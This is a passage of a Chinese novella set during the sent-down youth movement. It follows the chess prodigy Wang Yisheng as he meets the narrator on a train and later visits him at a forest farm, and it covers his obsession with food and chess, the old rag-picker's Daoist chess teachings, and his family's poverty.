　　我的座位恰与他在一个格儿里，是斜对面儿，于是就坐下了，也把手拢在袖里。那个学生瞄了我一下，眼里突然放出光来，问：“下棋吗？”倒吓了我一跳，急忙摆手说：“不会！”他不相信地看着我说：“这么细长的手指头，就是个捏棋子儿的，你肯定会。来一盘吧，我带来家伙呢。”说着就抬身从窗钩上取下书包，往里掏着。我说：“我只会马走日，象走田。你没人送吗？”他已把棋盒拿出来，放在茶几上。塑料棋盘却搁不下，他想了想，就横摆了，说：“不碍事，一样下。来来来，你先走。”我笑起来，说：“你没人送吗？这么乱，下什么棋？”他一边码好最后一个棋子，一边说：“我他妈要谁送？去的是有饭吃的地方，闹得这么哭哭啼啼的。来，你先走。”我奇怪了，可还是拈起炮，往当头上一移。我的棋还没移到，他的马却“啪”的一声跳好，比我还快。我就故意将炮移过当头的地方停下。他很快地看了一眼我的下巴，说：“你还说不会？这炮二平六的开局，我在郑州遇见一个葛人，就是这么走，险些输给他。炮二平五当头炮，是老开局，可有气势，而且是最稳的。嗯？你走。”我倒不知怎么走了，手在棋盘上游移着。他不动声色地看着整个棋盘，又把手袖起来。

　　就在这时，车厢乱了起来。好多人拥进来，隔着玻璃往外招手。我就站起身，也隔着玻璃往北看月台上。站上的人都拥到车厢前，都在叫，乱成一片。车身忽地一动，人群“嗡”地一下，哭声四起。我的背被谁捅了一下，回头一看，他一手护着棋盘，说：“没你这么下棋的，走哇！”我实在没心思下棋，而且心里有些酸，就硬硬地说：“我不下了。这是什么时候！”他很惊愕地看着我，忽然像明白了，身子软下去，不再说话。

　　车开了一会儿，车厢开始平静下来。有水送过来，大家就掏出缸子要水。我旁边的人打了水，说：“谁的棋？收了放缸子。”他很可怜的样子，问：“下棋吗？”要放缸的人说：“反正没意思，来一盘吧。”他就很高兴，连忙码好棋子。对手说：“这横着算怎么回事儿？没法儿看。”他搓着手说：“凑合了，平常看棋的时候，棋盘不等于是横着的？你先走。”对手很老练地拿起棋子儿，嘴里叫着：“当头炮。”他跟着跳上马。对手马上把他的卒吃了，他也立刻用马吃了对方的炮。我看这种简单的开局没有大意思，又实在对象棋不感兴趣，就转了头。

　　这时一个同学走过来，像在找什么人，一眼望到我，就说：“来来来，四缺一，就差你了。”我知道他们是在打牌，就摇摇头。同学走到我们这一格，正待伸手拉我，忽然大叫：“棋呆子，你怎么在这儿？你妹妹刚才把你找苦了，我说没见啊。没想到你在我们学校这节车厢里，气儿都不吭一声。你瞧你瞧，又下上了。”

　　棋呆子红了脸，没好气地说：“你管天管地，还管我下棋？走，该你走了。”就又催促我身边的对手。我这时听出点音儿来，就问同学：“他就是王一生？”同学睁了眼，说：“你不认识他？唉呀，你白活了。你不知道棋呆子？”我说：“我知道棋呆子就是王一生，可不知道王一生就是他。”说着，就仔细看着这个精瘦的学生。王一生勉强笑一笑，只看着棋盘。

　　王一生简直大名鼎鼎。我们学校与旁边几个中学常常有学生之间的象棋厮杀，后来拚出几个高手。几个高手之间常摆擂台，渐渐地，几乎每次冠军就都是王一生了。我因为不喜欢象棋，也就不去关心什么象棋冠军，但王一生的大名，却常被班上几个棋篓子供在嘴上，我也就对其事迹略闻一二，知道王一生外号棋呆子，棋下得神不用说，而且在他们学校那一年级里数理成绩总是前数名。我想棋下得好而且有个数学脑子，这很合情理，可我又不信人们说的那些王一生的呆事，觉得不过是大家寻逸闻鄙事，以快言论罢了。后来运动起来，忽然有一天大家传说棋呆子在串连时犯了事儿，被人押回学校了。我对棋呆子能出去串连表示怀疑，因为以前大家对他的描述说明他不可能解决串连时的吃喝问题。

　　可大家说呆子确实去串连了，因为老下棋，被人瞄中，就同他各处走，常常送他一点儿钱，他也不问，只是收下。后来才知道，每到一处，呆子必要挤地头看下棋。看上一盘，必要把输家挤开，与赢家杀一盘。初时大家见他其貌不扬，不与他下。他执意要杀，于是就杀。几步下来，对方出了小汗，嘴却不软。呆子也不说话，只是出手极快，像是连想都不想。待到对方终于闭了嘴，连一圈儿观棋的人也要慢慢思索棋路而不再支招儿的时候，与呆子同行的人就开始摸包儿。大家正看得紧张，哪里想到钱包已经易主？待三盘下来，众人都摸头。这时呆子倒成了棋主，连问可有谁还要杀？有那不服的，就坐下来杀，最后仍是无一盘得利。

　　后来常常是众人齐做一方，七嘴八舌与呆子对手。呆子也不忙，反倒促众人快走，因为师傅多了，常为一步棋如何走自家争吵起来。就这样，在一处呆子可以连杀上一天。后来有那观棋的人发觉钱包丢了，闹嚷起来。慢慢有几个有心计的人暗中观察，看见有人掏包，也不响，之后见那人晚上来邀呆子走，就发一声喊，将扒手与呆子一齐绑了，由造反队审。呆子糊糊涂涂，只说别人常给他钱，大约是可怜他，也不知钱如何来，自己只是喜欢下棋。审主看他呆像，就命人押了回来，一时各校传为逸事。后来听说呆子认为外省马路棋手高手不多，不能长进，就托人找城里名手近战。有个同学就带他去见自己的父亲，据说是国内名手。名手见了呆子，也不多说，只摆一副据说是宋时留下的残局，要呆子走。呆子看了半晌，一五一十道来，替古人赢了。名手很惊讶，要收呆子为徒。不料呆子却问：“这残局你可走通了？”名手没反应过来，就说：“还未通。”呆子说：“那我为什么要做你的徒弟？”

　　名手只好请呆子开路，事后对自己的儿子说：“你这同学倨傲不逊，棋品连着人品，照这样下去，棋品必劣。”又举了一些最新指示，说若能好好学习，棋锋必健。后来呆子认识了一个捡烂纸的老头儿，被老头儿连杀三天而仅赢一盘。呆子就执意要替老头儿去撕大字报纸，不要老头儿劳动。不料有一天撕了某造反团刚贴的“檄文”，被人拿获，又被这造反团栽诬于对立派，说对方“施阴谋，弄诡计”，必讨之，而且是可忍，孰不可忍！对立派又阴使人偷出呆子，用了呆子的名义，对先前的造反团反戈一击。一时呆子的大名“王一生”贴得满街都是，许多外省来取经的革命战士许久才明白王一生原来是个棋呆子，就有人请了去外省会一些江湖名手。交手之后，各有胜负，不过呆子的棋据说是越下越精了。只可惜全国忙于革命，否则呆子不知会有什么造就。

　　这时我旁边的人也明白对手是王一生，连说不下了。王一生便很沮丧。我说：“你妹妹来送你，你也不知道和家里人说说话儿，倒拉着我下棋！”王一生看着我说：“你哪儿知道我们这些人是怎么回事儿？你们这些人好日子过惯了，世上不明白的事儿多着呢！你家父母大约是舍不得你走了？”我怔了怔，看着手说：“哪儿来父母，都死球了。”我的同学就添油加醋地叙了我一番，我有些不耐烦，说：“我家死人，你倒有了故事了。”王一生想了想，对我说：“那你这两年靠什么活着？”我说：“混一天算一天。”王一生就看定了我问：“怎么混？”我不答。

　　呆了一会儿，王一生叹一声，说：“混可不易。一天不吃饭，棋路都乱。不管怎么说，你父母在时，你家日子还好过。”我不服气，说：“你父母在，当然要说风凉话。”我的同学见话不投机，就岔开说：“呆子，这里没有你的对手，走，和我们打牌去吧。”呆子笑一笑，说：“牌算什么，瞌睡着也能赢你们。”我旁边儿的人说：“据说你下棋可以不吃饭？”我说：“人一迷上什么，吃饭倒是不重要的事。大约能干出什么事儿的人，总免不了有这种傻事。”王一生想一想，又摇摇头，说：“我可不是这样。”说完就去看窗外。

　　一路下去，慢慢我发觉我和王一生之间，既开始有互相的信任和基于经验的同情，又有各自的疑问。他总是问我与他认识之前是怎么生活的，尤其是父母死后的两年是怎么混的。我大略地告诉他，可他又特别在一些细节上详细地打听，主要是关于吃。例如讲到有一次我一天没有吃到东西，他就问：“一点儿都没吃到吗？”我说：“一点儿也没有。”他又问：“那你后来吃到东西是在什么时候？”我说：“后来碰到一个同学，他要用书包装很多东西，就把书包翻倒过来腾干净，里面有一个干馒头，掉在地上就碎了。我一边儿和他说话，一边儿就把这些碎馒头吃下去。不过，说老实话，干烧饼比干馒头解饱得多，而且顶时候儿。”他同意我关于干烧饼的见解，可马上又问：“我是说，你吃到这个干馒头的时候是几点？过了当天夜里十二点吗？”我说：“噢，不。是晚上十点吧。”他又问：“那第二天你吃了什么？”我有点儿不耐烦。讲老实话，我不太愿意复述这些事情，尤其是细节。我觉得这些事情总在腐蚀我，它们与我以前对生活的认识太不合辙，总好像是在嘲笑我的理想。我说：“当天晚上我睡在那个同学家。第二天早上，同学买了两个油饼，我吃了一个。上午我随他去跑一些事，中午他请我在街上吃。晚上嘛，我不好意思再在他那儿吃，可另一个同学来了，知道我没什么着落，硬拉了我去他家，当然吃得还可以。怎么样？还有什么不清楚？”他笑了，说：“你才不是你刚才说的什么‘一天没吃东西’。你十二点以前吃了一个馒头，没有超过二十四小时。更何况第二天你的伙食水平不低，平均下来，你两天的热量还是可以的。”我说：“你恐怕还是有些呆！要知道，人吃饭，不但是肚子的需要，而且是一种精神需要。不知道下一顿在什么地方，人就特别想到吃，而且，饿得快。”他说：“你家道尚好的时候，有这种精神压力吗？恐怕没有什么精神需求吧？有，也只不过是想好上再好，那是馋。馋是你们这些人的特点。”我承认他说得有些道理，禁不住问他：“你总在说你们、你们，可你是什么人？”他迅速看着其他地方，只是不看我，说：“我当然不同了。我主要是对吃要求得比较实在。唉，不说这些了，你真的不喜欢下棋？何以解忧？唯有象棋。”我瞧着他说：“你有什么忧？”他仍然不看我，“没有什么忧，没有。‘忧’这玩意儿，是他妈文人的佐料儿。我们这种人，没有什么忧，顶多有些不痛快。何以解不痛快？唯有象棋。”

　　我看他对吃很感兴趣，就注意他吃的时候。列车上给我们这几节知青车厢送饭时，他若心思不在下棋上，就稍稍有些不安。听见前面大家拿吃时铝盒的碰撞声，他常常闭上眼，嘴巴紧紧收着，倒好像有些恶心。拿到饭后，马上就开始吃，吃得很快，喉节一缩一缩的，脸上绷满了筋。常常突然停下来，很小心地将嘴边或下巴上的饭粒儿和汤水油花儿用整个儿食指抹进嘴里。若饭粒儿落在衣服上，就马上一按，拈进嘴里。若一个没按住，饭粒儿由衣服上掉下地，他也立刻双脚不再移动，转了上身找。这时候他若碰上我的目光，就放慢速度。吃完以后，他把两只筷子吮净，拿水把饭盒冲满，先将上面一层油花吸净，然后就带着安全到达彼岸的神色小口小口的呷。有一次，他在下棋，左手轻轻地叩茶几。一粒干缩了的饭粒儿也轻轻地小声跳着。他一下注意到了，就迅速将那个饭粒儿放进嘴里，腮上立刻显出筋络。我知道这种干饭粒儿很容易嵌到槽牙里，巴在那儿，舌头是赶它不出的。果然，呆了一会儿，他就伸手到嘴里去抠。终于嚼完，和着一大股口水，“咕”地一声儿咽下去，喉节慢慢地移下来，眼睛里有了泪花。他对吃是虔诚的，而且很精细。有时你会可怜那些饭被他吃得一个渣儿都不剩，真有点儿惨无人道。我在火车上一直看他下棋，发现他同样是精细的，但就有气度得多。他常常在我们还根本看不出已是败局时就开始重码棋子，说：“再来一盘吧。”有的人不服输，非要下完，总觉得被他那样暗示死刑存些侥幸。他也奉陪，用四五步棋逼死对方，说：“非要听‘将’，有瘾？”

　　我每看到他吃饭，就回想起杰克·伦敦的《热爱生命》，终于在一次饭后他小口呷汤时讲了这个故事。我因为有过饥饿的经验，所以特别渲染了故事中的饥饿感觉。他不再喝汤，只是把饭盒端在嘴边儿，一动不动地听我讲。我讲完了，他呆了许久，凝视着饭盒里的水，轻轻吸了一口，才很严肃地看着我说：“这个人是对的。他当然要把饼干藏在褥子底下。照你讲，他是对失去食物发生精神上的恐惧，是精神病？不，他有道理，太有道理了。写书的人怎么可以这么理解这个人呢？杰……杰什么？嗯，杰克·伦敦，这个小子他妈真是饱汉子不知饿汉饥。”我马上指出杰克·伦敦是一个如何如何的人。他说：“是呀，不管怎么样，像你说的，杰克·伦敦后来出了名，肯定不愁吃的，他当然会叼着根烟，写些嘲笑饥饿的故事。”我说：“杰克＊伦敦丝毫也没有嘲笑饥饿，他是……”他不耐烦地打断我说：“怎么不是嘲笑？把一个特别清楚饥饿是怎么回事儿的人写成发了神经，我不喜欢。”我只好苦笑，不再说什么。可是一没人和他下棋了，他就又问我：“嗯？再讲个吃的故事？其实杰克·伦敦那个故事挺好。”我有些不高兴地说：“那根本不是个吃的故事，那是一个讲生命的故事。你不愧为棋呆子。”大约是我脸上有种表情，他于是不知怎么办才好。我心里有一种东西升上来，我还是喜欢他的，就说：“好吧，巴尔扎克的《邦斯舅舅》听过吗？”他摇摇头。我就又好好儿描述一下邦斯舅舅这个老饕。不料他听完，马上就说：“这个故事不好，这是一个馋的故事，不是吃的故事。邦斯这个老头儿若只是吃而不馋，不会死。我不喜欢这个故事。”他马上意识到这最后一句话，就急忙说：“倒也不是不喜欢。不过洋人总和咱们不一样，隔着一层。我给你讲个故事吧。”我马上感了兴趣：棋呆子居然也有故事！他把身体靠得舒服一些，说：“从前哪，”笑了笑，又说：“老是他妈从前，可这个故事是我们院儿的五奶奶讲的。嗯——老辈子的时候，有这么一家子，吃喝不愁。粮食一囤一囤的，顿顿想吃多少吃多少，嘿，可美气了。后来呢，娶了个儿媳妇。那真能干，就没说把饭做糊过，不干不稀，特解饱。可这媳妇，每做一顿饭，必抓出一把米来藏好……”听到这儿，我忍不住插嘴：“老掉牙的故事了，还不是后来遇了荒年，大家没饭吃，媳妇把每日攒下的米拿出来，不但自家有了，还分给穷人？”他很惊奇地坐直了，看着我说：“你知道这个故事？可那米没有分给别人，五奶奶没有说分给别人。”我笑了，说：“这是教育小孩儿要节约的故事，你还拿来有滋有味儿得讲，你真是呆子。这不是一个吃的故事。”他摇摇头，说：“这太是吃的故事了。首先得有饭，才能吃，这家子有一囤一囤的粮食。可光穷吃不行，得记着断顿儿的时候，每顿都要欠一点儿。老话儿说‘半饥半饱日子长’嘛。”我想笑但没笑出来，似乎明白了一些什么。为了打消这种异样的感触，就说：“呆子，我跟你下棋吧。”他一下高兴起来，紧一紧手脸，啪啪啪就把棋码好，说：“对，说什么吃的故事，还是下棋。下棋最好，何以解不痛快？唯有下象棋。啊？哈哈哈！你先走。”我又是当头炮，他随后把马跳好。我随便动了一个子儿，他很快地把兵移前一格儿。我并不真心下棋，心想他念到中学，大约是读过不少书的，就问：“你读过曹操的《短歌行》？”他说：“什么《短歌行》？”我说：“那你怎么知道‘何以解忧，唯有杜康’？”他愣了，问：“杜康是什么？”我说：“杜康是一个造酒的人，后来也就代表酒，你把杜康换成象棋，倒也风趣。”他摆了一下头，说：“啊，不是。这句话是一个老头儿说的，我每回和他下棋，他总说这句。”我想起了传闻中的捡烂纸老头儿，就问：“是捡烂纸的老头儿吗？”他看了我一眼，说：“不是。不过，捡烂纸的老头儿棋下得好，我在他那儿学到不少东西。”我很感兴趣地问：“这老头儿是个什么人？怎么下得一手好棋还捡烂纸？”他很轻地笑了一下，说：“下棋不当饭。老头儿要吃饭，还得捡烂纸。可不知他以前是什么人。有一回，我抄的几张棋谱不知怎么找不到了，以为当垃圾倒出去了，就到垃圾站去翻。正翻着，这老头儿推着筐过来了，指着我说：‘你个大小伙子，怎么抢我的买卖？’我说不是，是找丢了的东西，他问什么东西，我没搭理他。可他问个不停，‘钱，存摺儿？结婚帖子？’我只好说是棋谱，正说着，就找到了。他说叫他看看。他在路灯底下挺快就看完了，说‘这棋没根哪’。我说这是以前市里的象棋比赛。可他说，‘哪儿的比赛也没用，你瞧这，这叫棋路？狗脑子。’我心想怕是遇上异人了，就问他当怎么走。老头儿哗哗说了一通棋谱儿，我一听，真的不凡，就提出要跟他下一盘。老头让我先说。我们俩就在垃圾站下盲棋，我是连输五盘。老头儿棋路猛听头几步，没什么，可着子真阴真狠，打闪一般，网得开，收得又紧又快。后来我们见天儿在垃圾站下盲棋，每天回去我就琢磨他的棋路，以后居然跟他平过一盘，还赢过一盘。其实赢的那盘我们一共才走了十几步。老头儿用铅丝扒子敲了半天地面，叹一声，‘你赢了。’我高兴了，直说要到他那儿去看看。老头儿白了我一眼，说，‘撑的？！’告诉我明天晚上再在这儿等他。第二天我去了，见他推着筐远远来了。到了跟前，从筐里取出一个小布包，递到我手上，说这也是谱儿，让我拿回去，看瞧得懂不。又说哪天有走不动的棋，让我到这儿来说给他听听，兴许他就走动了。我赶紧回到家里，打开一看，还真他妈不懂。这是本异书，也不知是哪朝哪代的，手抄，边边角角儿，补了又补。上面写的东西，不像是说象棋，好像是说另外的什么事儿。我第二天又去找老头儿，说我看不懂，他哈哈一笑，说他先给我说一段儿，提个醒儿。他一开说，把我吓了一跳。原来开宗明义，是讲男女的事儿，我说这是四旧。老头儿叹了，说什么是旧？我这每天捡烂纸是不是在捡旧？可我回去把它们分门别类，卖了钱，养活自己，不是新？又说咱们中国道家讲阴阳，这开篇是借男女讲阴阳之气。阴阳之气相游相交，初不可太盛，太盛则折，折就是‘折断’的‘折’。我点点头。‘太盛则折，太弱则泻’。老头儿说我的毛病是太盛。又说，若对手盛，则以柔化之。可要在化的同时，造成克势。柔不是弱，是容，是收，是含。含而化之，让对手入你的势。这势要你造，需无为而无不为。无为即是道，也就是棋运之大不可变，你想变，就不是象棋，输不用说了，连棋边儿都沾不上。棋运不可悖，但每局的势要自己造。棋运和势既有，那可就无所不为了。玄是真玄，可细琢磨，是那么个理儿。我说，这么讲是真提气，可这下棋，千变万化，怎么才能准赢呢？老头儿说这就是造势的学问了。造势妙在契机。谁也不走子儿，这棋没法儿下。可只要对方一动，势就可入，就可导。高手你入他很难，这就要损。损他一个子儿，损自己一个子儿，先导开，或找眼钉下，止住他的入势，铺排下自己的入势。这时你万不可死损，势式要相机而变。势势有相因之气，势套势，小势开导，大势含而化之，根连根，别人就奈何不得。老头儿说我只有套，势不太明。套可以算出百步之远，但无势，不成气候。又说我脑子好，有琢磨劲儿，后来输我的那一盘，就是大势已破，再下，就是玩了。老头儿说他日子不多了，无儿无女，遇见我，就传给我吧。我说你老人家棋道这么好，怎么干这种营生呢？老头儿叹了一口气，说这棋是祖上传下来的，但有训——‘为棋不为生’，为棋是养性，生会坏性，所以生不可太盛。又说他从小没学过什么谋生本事，现在想来，倒是训坏了他。”我似乎听明白了一些棋道，可很奇怪，就问：“棋道与生道难道有什么不同么？”王一生说：“我也是这么说，而且魔症起来，问他天下大势。老头儿说，棋就是这么几个子儿，棋盘就是这么大，无非是道同势不同，可这子儿你全能看在眼底。天下的事，不知道的太多。这每天的大字报，张张都新鲜，虽看出点道儿，可不能究底。子儿不全摆上，这棋就没法儿下。”

　　我就又问那本棋谱。王一生很沮丧地说：“我每天带在身上，反覆地看。后来你知道，我撕大字报被造反团捉住，书就被他们搜了去，说是四旧，给毁了，而且是当着我的面儿毁的。好在书已在我脑子里，不怕他们。”我就又和王一生感叹了许久。

　　火车终于到了，所有的知识青年都又被用卡车运到农场。在总场，各分场的人上来领我们。我找到王一生，说：“呆子，要分手了，别忘了交情，有事儿没事儿，互相走动。”他说当然。

第二章

　　这个农场在大山林里，活计就是砍树，烧山，挖坑，再栽树。不栽树的时候，就种点儿粮食。交通不便，运输不够，常常就买不到谋油点灯。晚上黑灯瞎火，大家凑在一起臭聊，天南地北。又因为常割资本主义尾巴，生活就清苦得很，常常一个月每人只有五钱油，吃饭钟一敲，大家就疾跑如飞。大锅菜是先煮后搁油，油又少，只在汤上浮几个大花儿。落在后边，常常就只能吃清水南瓜或清水茄子。米倒是不缺，国家供应商品粮，每人每月四十二斤。可没油水，挖山又不是轻活，肚子就越吃越大。我倒是没有什么，毕竟强似讨吃。每月又有二十几元工薪，家里没有人惦记着，又没有找女朋友，就买了烟学抽，不料越抽越凶。

　　山上活儿紧时，常常累翻，就想：呆子不知怎么干？那么精瘦的一个人。晚上大家闲聊，多是精神会餐。我又想，呆子的吃相可能更恶了。我父亲在时，炒得一手好菜，母亲都比不上他，星期天常邀了同事，专事品尝，我自然精于此道。因此聊起来，常常是主角，说得大家个个儿腮胀，常常发一声喊，将我按倒在地上，说像我这样儿的人实在是祸害，不如宰了炒吃。下雨时节，大家都慌忙上山去挖笋，又到沟里捉田鸡，无奈没有油，常常吃得胃酸。山上总要放火，野兽们都惊走了，极难打到。即使打到，野物们走惯了，没膘，熬不得油。尺把长的老鼠也捉来吃，因鼠是吃粮的，大家说鼠肉就是人肉，也算吃人吧。我又常想，呆子难道不馋？好上加好，固然是馋，其实饿时更馋。不馋，吃的本能不能发挥，也不得寄托。又想，呆子不知还下棋不下棋。我们分场与他们分场隔着近百里，来去一趟不容易，也就见不着。

　　转眼到了夏季。有一天，我正在山上干活儿，远远望见山下小路上有一个人。大家觉得影儿生，就议论是什么人。有人说是小毛的男的吧。小毛是队里一个女知青，新近在外场找了一个朋友，可谁也没见过。大家就议论可能是这个人来找小毛，于是满山喊小毛，说她的汉子来了。小毛丢了锄，跌跌撞撞跑过来，伸了脖子看。还没等小毛看好，我却认出来人是王一生——棋呆子。于是大叫，别人倒吓了一跳，都问：“找你的？”我很得意。我们这个队有四个省市的知青，与我同来的不多，自然他们不认识王一生。我这时正代理一个管三四个人的小组长，于是对大家说：“散了，不干了。大家也别回去，帮我看看山上可有什么吃的弄点儿。到钟点儿再下山，拿到我那儿去烧。你们打了饭，都过来一起吃。”大家于是就钻进乱草里去寻了。

　　我跳着跑下山，王一生已经站住，一脸高兴的样子，远远地问：“你怎么知道是我？”我到了他跟前说：“远远就看你呆头呆脑，还真是你。你怎么老也不来看我？”他跟我并排走着，说：“你也老不来看我呀！”我见他背上的汗浸出衣衫，头发已是一绺一绺的，一脸的灰土，只有眼睛和牙齿放光，嘴上也是一层土，干得起皱，就说：“你怎么摸来的？”他说：“搭一段儿车，走一段儿路，出来半个月了。”我吓了一跳，问：“不到百里，怎么走这么多天？”他说：“回去细说。”

　　说话间已经到了沟底队里。场上几只猪跑来跑去，个个儿瘦得赛狗。还不到下班时间，冷冷清清的，只有队上伙房隐隐传来叮叮当当的声音。

　　到了我的宿舍，就直进去。这里并不锁门，都没有多馀的东西可拿，不必防谁。我放了盆，叫他等着，就提桶打热水来给他洗。到了伙房，与炊事员讲，我这个月的五钱油全数领出来，以后就领生菜，不再打熟菜。炊事员问：“来客了？”我说：“可不！”炊事员就打开锁了的柜子，舀一小匙油找了个碗盛给我，又拿了三只长茄子，说：“明天还来打菜吧，从后天算起，方便。”我从锅里舀了热水，提回宿舍。

　　王一生把衣裳脱了，只剩一条裤衩，呼噜呼噜地洗。洗完后，将脏衣服按在水里泡着，然后一件一件搓，洗好涮好，拧干晾在门口绳上。我说：“你还挺麻利的。”他说：“从小自己干，惯了。几件衣服，也不费事。”说着就在床上坐下，弯过手臂，去挠背后，肋骨一根根动着。我拿出烟来请他抽。他很老练地敲出一支，舔了一头儿，倒过来叼着。我先给他点了，自己也点上。他支起肩深吸进去，慢慢地吐出来，浑身荡一下，笑了，说：“真不错。”我说：“怎么样？也抽上了？日子过得不错呀。”他看看草顶，又看看在门口转来转去的猪，低下头，轻轻拍着净是绿筋的瘦腿，半晌才说：“不错，真的不错。还说什么呢？粮？钱？还要什么呢？不错，真不错。你怎么样？”他透过烟雾问我。我也感叹了，说：“钱是不少，粮也多，没错儿，可没油哇。大锅菜吃得胃酸。主要是没什么玩儿的，没书，没电影儿。去哪儿也不容易，老在这个沟儿里转，闷得无聊。”他看看我，摇一下头，说：“你们这些人哪！没法儿说，想的净是锦上添花。我挺知足，还要什么呢？你呀，你就叫书害了。你在车上给我讲的两个故事，我琢磨了，后来挺喜欢的。你不错，读了不少书。可是，归到底，解决什么呢？是呀，一个人拼命想活着，最后都神经了，后来好了，活下来了，可接着怎么生活呢？像邦斯那样？有吃，有喝，好收藏个什么，可有个馋的毛病，人家不请吃就活得不痛快。人要知足，顿顿饱就是福。”他不说了，看着自己的脚趾动来动去，又用后脚跟去擦另一只脚的背，吐出一口烟，用手在腿上掸了掸。

　　我很后悔用油来表示我对生活的不满意，还用书和电影儿这种可有可无的东西表示我对生活的不满足，因为这些在他看来，实在是超出基准线上的东西，他不会为这些烦闷。我突然觉得很泄气，有些同意他的说法。是呀，还要什么呢？我不是也感到挺好了吗？不用吃了上顿惦记着下顿，床不管怎么烂，也还是自己的，不用窜来窜去找刷夜的地方。可是我常常烦闷的是什么呢？为什么就那么想看看随便什么一本书呢？电影儿这种东西，灯一亮就全醒过来了，图个什么呢？可我隐隐有一种欲望在心里，说不清楚，但我大致觉出是关于活着的什么东西。

　　我问他：“你还下棋吗？”他就像走棋那么快地说：“当然，还用说？”我说：“是呀，你觉得一切都好，干吗还要下棋呢？下棋不多馀吗？”他把烟卷儿停在半空，摸了一下脸说：“我迷象棋，一下棋，就什么都忘了。呆在棋里舒服。就是没有棋盘，棋子儿，我在心里就能下，碍谁的事儿啦？”我说：“假如有一天不让你下棋，也不许你想走棋的事儿，你觉得怎么样？”他挺奇怪地看着我说：“不可能，那怎么可能？我能在心里下呀！还能把我脑子挖了？你净说些不可能的事儿。”我叹了一口气，说：“下棋这事儿看来是不错。看了一本儿书，你不能老在脑子里过篇儿，老想看看新的。下棋可不一样了，自己能变着花样儿玩。”他笑着对我说：“怎么样，学棋吧？咱们现在吃喝不愁了，顶多是照你说的，不够好，又活不出个大意思来。书你哪儿找去？下棋吧，有忧下棋解。”

　　我想了想，说：“我实在对棋不感兴趣。我们队倒有个人，据说下得不错。”他把烟屁股使劲儿扔出门外，眼睛又放出光来：“真的？有下棋的？嘿，我真还来对了。他在哪儿？”我说：“还没下班呢。看你急的，你不是来看我的吗？”他双手抱着脖子仰在我的被子上，看着自己松松的肚皮，说：“我这半年，就找不到下棋的。后来想，天下异人多得很，这野林子里我就不信找不到个下棋下得好的。现在我请了事假，一路找人下棋，就找到你这儿来了。”我说：“你不挣钱了？怎么活着呢？”他说：“你不知道，我妹妹在城里分了工矿，挣钱了，我也就不用给家寄那么多钱了。我就想，趁这功夫儿，会会棋手。怎么样？你一会儿把你说的那人找来下一盘？”我说当然，心里一动，就又问他：“你家里到底是怎么个情况呢？”

　　他叹了一口气，望着屋顶，很久才说：“穷。困难啊！我们家三口儿人，母亲死了，只有父亲、妹妹和我。我父亲嘛，挣得少，按平均生活费的说法儿，我们一人才不到十块。我母亲死后，父亲就喝酒，而且越喝越多，手里有俩钱儿就喝，就骂人。邻居劝，他不是不听，就是一把鼻涕一把泪，弄得人家也挺难过。我有一回跟我父亲说：‘你不喝就不行？有什么好处呢？’他说：‘你不知道酒是什么玩意儿，它是老爷们儿的觉啊！咱们这日子挺不易，你妈去了，你们又小。我烦哪，我没文化，这把年纪，一辈子这点子钱算是到头儿了。你妈死的时候，嘱咐了，怎么着也要供你念完初中再挣钱。你们让我喝口酒，啊？对老人有什么过不去的，下辈子算吧。’”他看了看我，又说：“不瞒你说，我母亲解放前是窑子里的。后来大概是有人看上了，做了人家的小，也算从良。有烟吗？”我扔过一支烟给他，他点上了，把烟头儿吹得红红的，两眼不错眼珠儿地盯着，许久才说：“后来，我妈又跟人跑了，据说买她的那家欺负她，当老妈子不说，还打。后来跟的这个是什么人，我不知道，我只知道我是我妈跟这个人生的。刚一解放，我妈跟的那个人就不见了。当时我妈怀着我，吃穿无着，就跟了我现在这个父亲。我这个后爹是卖力气的，可临到解放的时候儿，身子骨儿不行，又没文化，钱就挣得少。和我妈过了以后，原指着相帮着好一点儿，可没想到添了我妹妹后，我妈一天不如一天。那时候我才上小学，脑筋好，老师都喜欢我。可学校春游、看电影我都不在，给家里省一点儿是一点儿。我妈怕委屈了我，拖累着个身子，到处找活。有一回，我和我母亲给印刷厂叠书页子，是一本讲象棋的书。叠好了，我妈还没送去，我就一篇一篇对着看。不承想，就看出点儿意思来。于是有空儿就到街下看人家下棋。看了有些日子，就手痒痒，没敢跟家里要钱，自己用硬纸剪了一副棋，拿到学校去下。下着下着就熟了。于是又到街上和别人下。原先我看人家下得挺好，可我这一跟他们真下，还就赢了。一家伙就下了一晚上，饭也没吃。我妈找来了，把我打回去。唉，我妈身子弱，都打不痛我。到了家，她竟给我跪下了，说：‘小祖宗，我就指望你了！你若不好好儿念书，妈就死在这儿。’我一听这话吓坏了，忙说：‘妈，我没不好好儿念书。您起来，我不下棋了。’我把我妈扶起来坐着。那天晚上，我跟我妈叠页子，叠着叠着，就走了神儿，想着一路棋。我妈叹一口气说，‘你也是，看不上电影儿，也不去公园，就玩儿这么个棋。唉，下吧。可妈的话你得记着，不许玩儿疯了。功课要是拉下了，我不饶你。我和你爹都不识字儿，可我们会问老师。老师若说你功课跟不上，你再说什么也不行。’我答应了。我怎么会把功课拉下呢？学校的算术，我跟玩儿似的。这以后，我放了学，先做功课，完了就下棋，吃完饭，就帮我妈干活儿，一直到睡觉。因为叠页子不用动脑筋，所以就在脑子里走棋，有的时候，魔症了，会突然一拍书页，喊棋步，把家里人都吓一跳。”我说：“怨不得你棋下得这么好，小时候棋就都在你脑子里呢！”他苦笑笑说：“是呀，后来老师就让我去少年宫象棋组，说好好儿学，将来能拿大冠军呢！可我妈说，‘咱们不去什么象棋组，要学，就学有用的本事。下棋下得好，还当饭吃了？有那点儿功夫，在学校多学点儿东西比什么不好？你跟你们老师们说，不去象棋组，要是你们老师还有没教你的本事，你就跟老师说，你教了我，将来有大用呢。啊？专学下棋？这以前都是有钱人干的！妈以前见过这种人，那都是身份，他们不指着下棋吃饭。妈以前呆过的地方，也有女的会下棋，可要的钱也多。唉，你不知道，你不懂。下下玩儿可以，别专学，啊？’我跟老师说了，老师想了想，没说什么。后来老师买了一副棋送我，我拿给妈看，妈说，‘唉，这是善心人哪！可你记住，先说吃，再说下棋。等你挣了钱，养活家了，爱怎么下就怎么下，随你。’”我感叹了，说：“这下儿好了，你挣了钱，你就能撒着欢儿地下了，你妈也就放心了。”王一生把脚搬上床，盘了坐，两只手互相捏着腕子，看着地下说：“我妈看不见我挣钱了。家里供我念到初一，我妈就死了。死之前，特别跟我说，‘这一条街都说你棋下得好，妈信。可妈在棋上疼不了你。你在棋上怎么出息，到底不是饭碗。妈不能看你念完初中，跟你爹说了，怎么着困难，也要念完。高中，妈打听了，那是为上大学，咱们家用不着上大学，你爹也不行了，你妹妹还小，等你初中念完了就挣钱，家里就靠你了。妈要走了，一辈子也没给你留下什么，只捡人家的牙刷把，给你磨了一副棋。’说着，就叫我从枕头底